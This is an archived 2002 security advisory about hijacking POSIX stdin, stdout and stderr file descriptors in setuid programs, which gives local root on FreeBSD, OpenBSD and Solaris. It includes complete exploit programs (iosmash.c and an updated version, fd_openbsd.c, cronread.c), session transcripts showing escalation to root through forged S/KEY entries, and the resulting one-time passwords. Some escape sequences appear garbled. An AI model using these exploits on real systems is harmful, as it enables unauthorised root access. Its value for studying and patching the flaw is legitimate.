TUCoPS :: Unix :: General :: unix5301.htm


TUCoPS :: Unix :: General :: unix5301.htm

Posix standard input/ouput/error (stdio,stderr) hijacking gives local root
23th Apr 2002 [SBWID-5301]
COMMAND
	Posix standard input/ouput/error (stdio,stderr) hijacking gives local
	root
SYSTEMS AFFECTED
	At least Solaris 2.5.1-2.5.8
	
	All releases of FreeBSD up to and including 4.5 prior to this date (23
	April 2002)
	
	OpenBSD 3.0
	
	
PROBLEM
	Thanks to Joost Pol [http://www.pine.nl], James Youngman and Theo de
	Raadt findings, in FreeBSD security [FreeBSD-SA-02:23.stdio] advisory :
	
	By convention, POSIX systems associate file descriptors 0, 1, and 2
	with standard input, standard output, and standard error, respectively.
	Almost all applications give these stdio file descriptors special
	significance, such as writing error messages to standard error (file
	descriptor 2).
	
	In new processes, all file descriptors are duplicated from the parent
	process. Unless these descriptors are marked close-on-exec, they retain
	their state during an exec.
	
	All POSIX systems assign file descriptors in sequential order, starting
	with the lowest unused file descriptor. For example, if a newly exec'd
	process has file descriptors 0 and 1 open, but file descriptor 2
	closed, and then opens a file, the new file descriptor is guaranteed to
	be 2 (standard error).
	
	Some programs are set-user-id or set-group-id, and therefore run with
	increased privileges. If such a program is started with some of the
	stdio file descriptors closed, the program may open a file and
	inadvertently associate it with standard input, standard output, or
	standard error. The program may then read data from or write data to
	the file inappropriately. If the file is one that the user would
	normally not have privileges to open, this may result in an opportunity
	for privilege escalation.
	
	Local users may gain superuser privileges. It is known that the
	`keyinit' set-user-id program is exploitable using this method. There
	may be other programs that are exploitable.
	
	
	Joost Pol [http://www.pine.nl] adds :
	
	Consider the following (imaginary) suid application:
	
	-- begin of imaginary code snippet
	
	FILE * f = fopen("/etc/root_owned_file", "r+");
	
	if(f) {
	 fprintf(stderr, "%s: fopen() succeededn", argv[0]);
	 fclose(f);
	 }
	
	-- end of imaginary code snippet
			
	Now, consider the following (imaginary) exploit:
	
	-- begin of imaginary exploit snippet
	
	while(dup(1) != -1); 
	close(2);
	execl("/path/to/suid_application",
	 "this text will endup in the root_owned_file", 0);
	
	-- end of imaginary exploit snippet
	
	Exploitation has been confirmed using the S/KEY binaries.
	
	
	Bert hubert [http://ds9a.nl] adds :
	
	Here is a simple test, executing a setuid process with filedescriptor 2
	closed, and then opening a file and seeing what fd it gets.
	
	For further tests, 'outer' might try to exhaust *all* available
	filedescriptors except 0, 1 or 2.
	
	
	begin 644 setuid-fd-2.tar.gz
	M'XL(`"5PQ#P``^V6;6O;,!#'[;Z%+>T`Z<DL>S8,63K8+1]V15"80P&0['E
	MV-21@B4W"V/??2?GH>Y(ES=I2IE^!"*=I-/YI/_9BNLJ3WIITO/=U@M!:>!'
	M88C_U(M"VOS?T*)1,/1HA%,'+>IYOA^T('RI@)I42K,2H,6RZI_S]HV_453C
	M_&_8/4_S@A]Z#^I1.@R"Y_?W(WZ_(<ACN!?SC$Z>'#F07__GYLZ(8@:PT
	M+R7ドル@I>$Q`5G8D1.RAGTTJ=#KQVLY>`T]3^^_GQU<WWX/?;I/QKZC?KO&_U[
	M=&#U?PS&E8`9UOTN,)&`SOBJ"ZHJ.7:9AKY;JQ]R!7(A>`*3)912ZGK!ZOK4
	M_1$A?7=5+DQ*M=JL[,(BR^,,=)ES!5J"G.,N+M>Q.V=*+7`Y9XF[*'.-84PJ
	M#8GDB@C<HK:9);GN$W)6AT:($V=,3&N[V;A#R"G$&0:WBFN];6V<R01H@!?
	M6RMQDE+.8<+B>^-`2-%;.SF#=?SDLI`J%U-($_#))99(T^$_>0RI++>>;O$Q
	M,!V['V2$BR&A-QEF+=<)'G,M'EZD]&EK(!A>K_<WL%#5:`O-BEXG^"*GK=K
	MHPE'!C,<DPLGHVL2LC8@S$)J4S^4V46^]MU-SDKR+>U'_]6/WXX'=LG_[#
	M0;!Y_T>A%QC]AYYG]7,3G,1%Q5>KX]JJ5R]G'/5SSZ1IV9,D7YJ36.A"V,B
	MN=!X/W/AF`8KIW798ドル<9/3_'SD.'_"(`9@COI]&]TV[HI=V]_3&^^CKN?#"3
	M4@?G7'@=;)^4>"U+`=0,X&]>HHO4:>^7W/ODNVAWL;7Q.>6:XPUW.L;OHZ=O
	M:VF8*F/TWX5ME3.FE2S05>V&%XIOXO-W^WF4V+O5JM]OXW.IJ?^Z^+V"_@?A
	M5O]A%*ST/XBL_H_!HZ0K@:^7I-;T48K"1D'-E^U&<#':N./7[>V9][#6Y&B
	MO7#::RO6@$:3UH)[5Q;+!:+Q6*Q6"P6B5BL5@L%HO%<BS^`.,,CT`*```
	`
	end
	765 bytes
	
	
	KF [http://www.phased.home.ro/iosmash.c] keyinit exploit :
	
	/*
	 phased/b10z
	 phased@snosoft.com
	 23/04/2002
	
	 stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE 
	 decided to make a trivial exploit to easily get root :)
	
	> id
	 uid=1003(phased) gid=999(phased) groups=999(phased)
	> ./iosmash
	 Adding phased:
	 <--- HIT CTRL-C ---> 
	> su
	 s/key 98 snosoft2
	 Password:MASS OAT ROLL TOOL AGO CAM
	 xes# 
	
	 this program makes the following skeys valid
	
	 95: CARE LIVE CARD LOFT CHIC HILL
	 96: TESS OIL WELD DUD MUTE KIT
	 97: DADE BED DRY JAW GRAB NOV
	 98: MASS OAT ROLL TOOL AGO CAM
	 99: DARK LEW JOLT JIVE MOS WHO
	
	 http://www.snosoft.com
	 cheers Joost Pol
	*/
	
	#include <stdio.h>
	#include <unistd.h>
	
	int main(int argc, char *argv[]) {
		while(dup(1) != -1);
		close(2);
		execl("/usr/bin/keyinit",
		"nroot 0099 snosoft2	6f648e8bd0e2988a Apr 23,2666 01:02:03n");
	}
	
	
	 Phased adds (25 April 2002) :
	
	Some commented i used su to gain root, however skeys is used via all
	auth methods, i.e. telnet so you could change the user to someone in
	wheel, havent used skeys via ssh but i presume it works. root isn't
	allowed to telnet by default but usually can ssh, but if the box has
	people in the wheel group you can change the root to any user in the
	exploit to log in via skeys as that user.
	
	Welcome to FreeBSD!
	
> id
	uid=1000(d0tslash) gid=1000(d0tslash) groups=1000(d0tslash)
>
> grep wheel /etc/group
	wheel:*:0:root,akt0r-root,misterx
>
> perl -pi -e 's/root /misterx /g' iosmash.c
> gcc -o iosmash.c iosmash
>./iosmash
	Adding d0tslash:
	<--- HIT CTRL-C --->
> grep 98 iosmash.c
	 s/key 98 snosoft2
	 98: MASS OAT ROLL TOOL AGO CAM
	 "nmisterx 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666
	01:02:0
	3n");
> su misterx
	s/key 98 snosoft2
	Password:MASS OAT ROLL TOOL AGO CAM
	%pwd
	/usr/home/d0tslash
	%id
	uid=1001(misterx) gid=1001(misterx) groups=1001(misterx), 0(wheel),
	1006(cvsusers)
	%cd ~
	%grep "root " iosmash.c
	 decided to make a trivial exploit to easily get root :)
	 "nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03n");
	%gcc -o iosmash iosmash.c
	%./iosmash
	Updating misterx:
	Old key: snosoft2
	<--- HIT CTRL-C --->
	%su
	s/key 98 snosoft2
	Password:MASS OAT ROLL TOOL AGO CAM
	xes#
	
	
	 Update (06 May 2002)
	 ======
	
	Linux is also vulnerable, at least to the extent of bypassing files ACL
	:
	
	Paul Starzetz adds :
	
	I don't think there was enough research on open file descriptor
	problems. For example, I found this small bug while playing yround with
	crontab on Linux:
	
	gcc cronread.c -o cronread
	
	export VISUAL=/bin/vi
	crontab -e
	
	<:sh> escape to shell
	
	./cronread
	
	0000 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/0 
	dump (y/n) n
	
	0001 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/1 
	dump (y/n) n
	
	0002 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/2 
	dump (y/n) n
	
	0003 iz OPEN st_uid 0 st_gid 0 PATH 
	/var/spool/cron/deny dump (y/n) y
	
	--- DUMPING /var/spool/cron/deny ---
	
	guest
	gast
	
	
	---
	0005 iz OPEN
	0006 iz OPEN
	
	
	ls -l /var/spool/cron/deny
	-rw------- 1 root root 11 Oct 25 2001 /var/spool/cron/deny
	
	
	So I'm able to read a privileged system file using this technique :->
	Not necessary to mention the consequences of inheriting such a fd open
	for writing. More effort must be put to investigate this problem in
	current Linux/Unix suid/setgid binaries.
	
	have fun with the attached source.
	
	/ih
	
	
	Content-Type: text/plain;
	 name="cronread.c"
	Content-Transfer-Encoding: 7bit
	Content-Disposition: inline;
	 filename="cronread.c"
	
	/****************************************************************
	*								*
	*	insecure FD seeker					*
	*	by IhaQueR '2002					*
	*								*
	****************************************************************/
	
	
	
	
	
	#include <stdio.h>
	#include <unistd.h>
	#include <fcntl.h>
	#include <sys/types.h>
	#include <sys/stat.h>
	#include <linux/limits.h>
	
	
	
	#define TMPLEN 1024
	
	
	
	void dumpfd(int fd, char *name)
	{
	int r;
	char c=13;
	
	
		r = lseek(fd, 0, SEEK_SET);
		if(r == (off_t)-1) {
			perror("lseek");
			return;
		}
		printf("n--- DUMPING %s ---nn", name);
		do {
			r = read(fd, &c, sizeof(c));
			if(r>0) {
				printf("%c", c);
			}
		} while(r>0);
		printf("nn---");
		fflush(stdout);
	}
	
	
	int main()
	{
	int i, r, f;
	uid_t uid;
	gid_t gid;
	struct stat st;
	char buf[TMPLEN];
	
	
		uid = getuid();
		gid = getgid();
	
		for(i=0; i<NR_OPEN; i++) {
			r = fstat(i, &st);
			if(!r) {
				printf("n%.4d iz OPEN", i);
				if(st.st_uid != uid || st.st_gid != gid) {
					printf("tst_uid %dtst_gid %d", st.st_uid, st.st_gid);
					snprintf(buf, sizeof(buf)-1, "/proc/%d/fd/%d", getpid(), i);
					buf[sizeof(buf)-1] = 0;
					readlink(buf, buf, sizeof(buf)-1);
					buf[sizeof(buf)-1] = 0;
					printf("tPATH %s ", buf);
					printf("tdump (y/n) ");
					r = getchar();
					if(r == 'y')
						dumpfd(i, buf);
					getchar();
				}
			}
		}
		printf("nn");
		fflush(stdout);
	
	return 0;
	}
	
	
	
	 Update (10 May 2002)
	 ======
	
	FozZy from Hackademy and Hackerz Voice newspaper
	[http://www.hackerzvoice.org] found manage to exploit this on OpenBSD
	3.0 :
	
	On current OpenBSD systems, any local user (being or not in the wheel
	group) can fill the kernel file descriptors table, leading to a denial
	of service. Because of a flaw in the way the kernel checks closed file
	descriptors 0-2 when running a setuid program, it is possible to
	combine these bugs and earn root access by winning a race condition.
	
	As described before closing file descriptors 0, 1 and/or 2 before
	exec'ing a setuid program can make this program open files under these
	fds, which have special meanings for libc (stdin/out/err). Reading or
	writing to root-owned files can be made possible, since
	stdXX==opened_file.
	
	Since 1998, there is a check in the OpenBSD kernel, intended to prevent
	this: in the execve function, if fd 0, 1 or 2 is closed, then it is
	opened as a new file descriptor assigned to /dev/null. Then, the setuid
	program can be safely executed. But, unlike the FreeBSD and NetBSD
	patch (and unlike what does linux in glibc), if there is a failure
	here, we break out of the current loop and the execve goes on (it
	should fail: this was pointed out by art in the comments of the code,
	but not fixed).
	
	-------------
	In sys/kern/kern_exec.c, in the loop where the kernel tries to open
	/dev/null on closed fd 0->2: 
	(...)
	 if ((error = falloc(p, &fp, &indx)) != 0)
	 break;
	(...)
	-------------
	
	This can be exploited by a local user to gain root ! An attacker can
	win a race condition with respect to the system file descriptors table:
	
	1) Fill the kernel file descriptors table (see the "local DoS"
	explanation).
	
	2) Execute a setuid prog with (for instance) fd number 2 closed. In the
	execve kernel function, fd number 2 will not be opened to /dev/null
	because the falloc will fail. So, the setuid program will be run with
	fd 2 closed.
	
	3) Quickly close some fd in order to allow the program to run correctly
	(ld.so needs free file descriptors, and so does the setuid program).
	Step 3 timing is crucial: if too early, /dev/null will be assigned to
	fd 2. If too late, the suid prog execution will fail. But I found that,
	by tuning a simple "for" loop, the good timing is quite easy to meet...
	
	 Exploit
	 =======
	
	I exploited successfully this vulnerability on OpenBSD 3.0, and became
	root from luser using the setuid-root program "/usr/bin/skeyaudit".
	
	The trick is to put the line we want to insert in /etc/skeyskey into
	argv[0], with new line tags, when running skeyaudit. Any entry for the
	local user must be removed first, so skeyaudit will complain on stderr,
	printing its "filename" (argv[0]) and some error text. If /etc/skeyskey
	is opened on fd number 2, we won.
	
	/* fd_openbsd.c
	 (c) 2002 FozZy <fozzy@dmpfrance.com>
	 Local root exploit for OpenBSD up to 3.1. Do not distribute.
	 Research material from Hackademy and Hackerz Voice Newspaper (http://www.hackerzvoice.com)
	 For educational and security audit purposes only. Try this on your *own* system.
	 No warranty of any kind, this program may damage your system and your brain.
	 Script-kiddies, you will have to modify one or two things to make it work.
	
	 Usage:
	 gcc -o fd fd_openbsd.c
	 ./fd
	 su -a skey
	*/
	
	#include <unistd.h>
	#include <stdio.h>
	#include <sys/types.h>
	#include <sys/time.h>
	#include <sys/resource.h>
	#include <errno.h>
	#include <fcntl.h>
	
	#define SUID_NAME "/usr/bin/skeyaudit"
	#define SKEY_DATA "nr00t md5 0099 qwerty 545a54dde8d3ebd3 Apr 30,2002 22:47:00n";
	extern int errno;
	
	int main(int argc, char **argv) {
	 char *argvsuid[3];
	 int i, n;
	 int fildes[2];
	 struct rlimit *rlp;
	
	 rlp = (struct rlimit *) malloc((size_t) sizeof(rlp));
	 if (getrlimit(RLIMIT_NOFILE, rlp))
	 perror("getrlimit");
	 rlp->rlim_cur = rlp->rlim_max; /* we want to allocate a maximum number of fd in each process */
	 if (setrlimit(RLIMIT_NOFILE, rlp))
	 perror("setrlimit");
	 
	 n=0;
	 open(SUID_NAME, O_RDONLY, 0);/* is it useful ? allocate this file in the kernel fd table, for execve to succeed later*/
	
	 while (n==0) {
	 for (i=4; i<=rlp->rlim_cur; i++) /* we start from 4 to avoid freeing the SUID_NAME buffer, assuming its fd is 3 */
	 close(i);
	 i=0;
	 while(pipe(fildes)==0) /* pipes are the best way to allocate unique file descriptors quickly */
	 i++;
	 printf("Error number %d : %sn", errno, (errno==ENFILE) ? "System file table full":"Too many descriptors active for this process");
	 if (errno==ENFILE) { /* System file table full */
	 n = open("/bin/pax", O_RDONLY, 0); /* To be sure we don't miss one fd, since a pipe allocates 2 fds or 0 if failure */
	 fprintf(stderr, "Let's exec the suid binary...n");
	 fflush(stderr);
	 if ((n=fork())==-1) {
		 perror("last fork failed");
		 exit(1);
	 }
	 if (n==0) {
		 for (i=3; i<=rlp->rlim_cur; i++)
		 close(i); /* close all fd, we don't need to fill the fd table of the process */
		 argvsuid[0]=SKEY_DATA; /* we put the data to be printed on stderr as the name of the program */
		 argvsuid[1]="-i"; /* to make skeyaudit fail with an error */
		 argvsuid[2]=NULL;
	 close(2); /* let the process exec'ed have stderr as the *first* fd free */
		 execve(SUID_NAME, argvsuid, NULL);
		 perror("execve");
		 exit(1);
	 }
	 else {
		 for (i=0; i<2000000; i++) /* Timing is crucial : tune this to your own system */
		 ;
		 for (i=4; i<=100; i++) /* free some fd for the suid file to execute normally (ld.so, etc.) */
		 close(i);
		 sleep(5);
	 for (i=3; i<=rlp->rlim_cur; i++)
	 close(i);
		 exit(0);
	 }
	 }
	 else { /* process table full, let's fork to allocate more fds */
	 if ((n=fork()) == -1) {
		 perror("fork failed");
		 exit(1);
	 }
	 }
	 }
	 printf("Number of pipes opened by parent: %dn",i);
	 sleep(5);
	 for (i=3; i<=rlp->rlim_cur; i++)
	 close(i);
	 fprintf(stderr,"Exiting...n");
	 exit(0);
	}
	
	
	 Update (14 August 2002)
	 ======
	
	noconflic [nocon@texas-shooters.com] kindly sent us an update to
	iosmash :
	
	
	/*
	* Systems affected: FreeBSD <= 4.6 
	*
	* Credit:
	* ----------------------------------------------
	* Advisory:
	* http://www.guninski.com/freebsd2.html
	*
	* -----------------------------------------------
	*
	* Skey stuffage:
	* -----------------------------------------------
	* phased/b10z
	* phased@snosoft.com
	*
	* this program makes the following skeys valid
	*
	* 95: CARE LIVE CARD LOFT CHIC HILL
	* 96: TESS OIL WELD DUD MUTE KIT
	* 97: DADE BED DRY JAW GRAB NOV
	* 98: MASS OAT ROLL TOOL AGO CAM
	* 99: DARK LEW JOLT JIVE MOS WHO
	*
	* -------------------------------------------------
	*
	* This will allow you to su to any user.
	*
	* [nocon]> id
	* uid=1002(nocon) gid=1002(nocon) groups=1002(nocon)
	* [nocon]> grep wheel /etc/group
	* wheel:*:0:root,stpstone
	* [nocon]> /tmp/iosmash2 stpstone 
	* Adding nocon:
	* <--- HIT CTRL-C --->
	* [nocon]> su stpstone
	* s/key 98 iosmash2 
	* Password: MASS OAT ROLL TOOL AGO CAM
	* [/home/nocon]: id
	* uid=1001(stpstone) gid=1001(stpstone) groups=1001(stpstone), 0(wheel)
	* [/home/nocon]: /tmp/iosmash2 root
	* Adding stpstone:
	* <--- HIT CTRL-C --->
	* [/home/nocon]: su 
	* s/key 98 iosmash2
	* Password: MASS OAT ROLL TOOL AGO CAM
	* [/home/nocon]# id
	* uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
	* [/home/nocon]#
	*
	*
	* - noconflic
	* 31 July 2002
	*
	*/
	
	#include <stdio.h>
	#include <fcntl.h>
	
	int main(int argc,char *argv[])
	{
	
	FILE * f;
	
	char skey[] = {" 0099 iosmash2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n"};
	char *user;
	char buff[100];
	
	 if (argc != 2) { 
	 printf("------------------------------------------------\n");
	 printf("FreeBSD <= 4.6 kernal file descriptor exploit\n-noconflic\n");
	 printf("------------------------------------------------\n");
	 printf("Usage: %s <username>\n",argv[0]); 
	 exit(1); 
	 } 
	
	user = argv[1];
	
	 strcpy(buff,"\n");
	 strcat(buff,user);
	 strcat(buff,skey);
	
	 buff[100] = '0円';
	
	while( ((int )f=dup(1)) != -1);
	
	 close(2); 
	 close(3); 
	
	 (int )f=open("/proc/curproc/mem",O_WRONLY);
	
	if ((int )f==-1) fprintf(stdout,"Error in open /proc\n");
	
	 execl("/usr/bin/keyinit",buff,0); 
	
	return(0);
	}
	
SOLUTION
	 FreeBSD :
	 =========
	
	Download the relevant patch from the location below, and verify the
	detached PGP signature using your PGP utility.
	
	# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch
	# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch.asc
	
	
	
	 Update (31 July 2002)
	 =====================
	
	The original correction for this problem (corresponding to the first
	revision of this advisory) contained an error. Systems using procfs or
	linprocfs could still be exploited. The dates for the original,
	incomplete correction were:
	
	Corrected: 2002年04月21日 13:06:45 UTC (RELENG_4)
	 2002年04月21日 13:08:57 UTC (RELENG_4_5)
	 2002年04月21日 13:10:51 UTC (RELENG_4_4)
	
	
	
	 OpenBSD :
	 =========
	
	The following patches are available:
	
	OpenBSD-3.1:
	
	ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.1/common/003_fdalloc2.patch
	
	OpenBSD-3.0:
	
	ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.0/common/021_fdalloc2.patch
	
	OpenBSD-2.9:
	
	ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9/common/026_fdalloc2.patch
	
	OpenBSD-current as well as the OpenBSD 2.9, 3.0 and 3.1 -stable
	branches have already been patched.
	
	Increasing kern.maxfiles and lowering the local users hard limits (both
	number of processes and opened files per process) could be a workaround
	to the DoS problem.

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH